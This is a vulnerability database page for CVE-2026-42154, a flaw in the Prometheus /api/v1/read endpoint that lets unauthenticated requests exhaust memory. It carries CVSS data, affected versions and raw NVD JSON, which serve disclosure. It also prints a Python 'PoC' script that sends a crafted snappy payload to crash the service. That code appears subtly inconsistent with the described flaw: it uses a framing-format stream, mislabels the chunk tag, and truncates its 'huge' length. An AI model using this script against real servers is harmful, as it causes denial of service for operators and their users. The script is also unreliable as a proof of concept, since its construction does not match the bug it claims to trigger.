Security Vulnerability Report
中文
CVE-2026-42154 CVSS 7.5 HIGH

CVE-2026-42154

Published: 2026-05-04 19:16:04
Last Modified: 2026-05-11 17:22:43

Description

Prometheus is an open-source monitoring system and time series database. Prior to versions 3.5.3 and 3.11.3, the remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process. This issue has been patched in versions 3.5.3 and 3.11.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:* - VULNERABLE
Prometheus < 3.5.3
Prometheus < 3.11.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import struct target = "http://localhost:9090/api/v1/read" # Construct a malicious Snappy stream chunk # Snappy chunk format: [Tag(1 byte)] [Length(3 bytes)] [Data] # Tag 0x01 represents a literal chunk. # We set a huge length to trigger the allocation. huge_length = 0x7FFFFFFF # Max 32-bit signed int # Pack length as 3 bytes little-endian length_bytes = struct.pack('<I', huge_length)[:3] # Payload: Stream identifier + Malformed Chunk # 0xff is stream identifier, followed by 'sNaPpY' payload = b'\xff\x06\x00\x00sNaPpY' # Add a chunk claiming huge size but minimal actual data payload += b'\x01' + length_bytes + b'A' headers = { "Content-Encoding": "snappy", "Content-Type": "application/x-protobuf" } try: r = requests.post(target, data=payload, headers=headers) print(f"Status: {r.status_code}") except Exception as e: print(f"Exploitation attempt failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42154", "sourceIdentifier": "[email protected]", "published": "2026-05-04T19:16:04.397", "lastModified": "2026-05-11T17:22:42.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Prometheus is an open-source monitoring system and time series database. Prior to versions 3.5.3 and 3.11.3, the remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process. This issue has been patched in versions 3.5.3 and 3.11.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-789"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.3", "matchCriteriaId": "36FDEDDF-199E-43DA-93AF-51C8E40BF389"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.6.0", "versionEndExcluding": "3.11.3", "matchCriteriaId": "26BB9EEC-D049-4268-953C-E90B253745CE"}]}]}], "references": [{"url": "https://github.com/prometheus/prometheus/pull/18584", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/prometheus/prometheus/pull/18585", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/prometheus/prometheus/releases/tag/v3.11.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/prometheus/prometheus/releases/tag/v3.5.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/prometheus/prometheus/security/advisories/GHSA-8rm2-7qqf-34qm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}